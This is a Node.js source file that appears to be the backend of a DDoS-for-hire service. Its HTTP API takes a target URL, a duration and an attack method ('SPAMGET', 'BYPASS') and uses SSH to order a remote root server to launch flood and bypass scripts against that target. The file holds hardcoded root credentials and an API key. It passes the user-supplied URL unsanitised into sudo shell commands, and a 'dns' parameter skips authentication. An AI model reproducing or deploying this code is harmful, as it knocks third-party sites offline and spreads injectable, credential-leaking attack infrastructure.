const net = require('net');
const Client = require('ssh2').Client;
const http = require('http');
const url = require('url');
const fs = require('fs');

const methods = [
"SPAMGET",
"SPAMPOST",
"BYPASS",

"STOP"
];


var servers = [
    {
        ip: "45.80.150.3",
        username: "root",
        password: "193Q8qW3j1835Fb154b75U2RM"
    }
]


var keys = [{
    key: "TkAd6wCjRTVdnBJVn7cTJEKJ6JEB5XmfZjf",
    concurrents: 4,
    maxtime: 1800,
    attacks: 0,
    admin: true
}]


process.on('uncaughtException', function(e) {
 // console.warn(e);
});

process.on('unhandledRejection', function(e) {
   //console.warn(e);
});
var client = new net.Socket();

var httpServer = http.createServer().on('request', function(request, response) {
    if (request.url.startsWith("/reg")) {
        request.query = url.parse(request.url, true).query;
        if (methods.indexOf(request.query.method) === -1 || request.query.time < 10) return response.end('gay');
        if (!request.query.url) {
            return response.end('{"error": "No URL mentioned."}');
        }
        if (!request.query.time) {
            return response.end('{"error": "No time given"}');
        }
        if (!request.query.method) {
            return response.end('{"error": "No method given"}');
        }
        if (request.query.key || request.query.dns) {
            request.query.keydb = keys.find(akey => akey.key == request.query.key);
            if (request.query.keydb || request.query.dns) {
                if (request.query.dns) {
                    request.query.keydb = {
                        concurrents: 1e3,
                        maxtime: 1e6,
                        attacks: -1e6
                    };
                }
                if (request.query.method == 'STOPALL') {
                    if (request.query.keydb.admin) {
                    execute("sudo pkill .js -f; sudo pkill https:// -f; sudo pkill http:// -f;");
                    response.end("Attack has been sent on " + request.query.url);
                    }
                }
                else if (request.query.method == 'SPAMGET') {
                    if (request.query.keydb.admin) {
                    execute("sudo node spam.js " + request.query.url + " " + request.query.time);
                    response.end("Attack has been sent on " + request.query.url);
                    }
                }
                else if (request.query.method == 'BYPASS') {
                    if (request.query.keydb.admin) {
                    execute("sudo node multibypass.js " + request.query.url + " " + request.query.time + " GET");
                    response.end("Attack has been sent on " + "post "  + request.query.url);
                    }
                }
                else if (request.query.method == 'STOP') {
                    if (request.query.keydb.admin) {
                    execute("sudo pkill " + request.query.url + " -f");
                    response.end("Stopped attack on " + request.query.url);
                    }
                }
            } else {
                response.end("Wrong key");
            }
        } else {
            response.end("No key was mentioned.");
        }
    } else {
        response.setHeader('content-type', 'text/html');
        return response.end('maintenance');
    }
}).listen(12);

function execute(command, serversLimit) {
    servers.forEach(function(server) {
        var conn = new Client();
        conn.on('ready', function() {
        //   console.log('Client :: ready');
            conn.exec(command, function(err, stream) {
                if (err) throw err;
            stream.on('close', function(code, signal) {
             //    console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
                    conn.end();
                }).on('data', function(data) {
               //     console.log('STDOUT: ' + data);
                }).stderr.on('data', function(data) {
            //     console.log('STDERR: ' + data);
              });
            });
        }).connect({
            host: server.ip,
            port: 22,
            username: server.username,
            password: server.password
        });
    });
}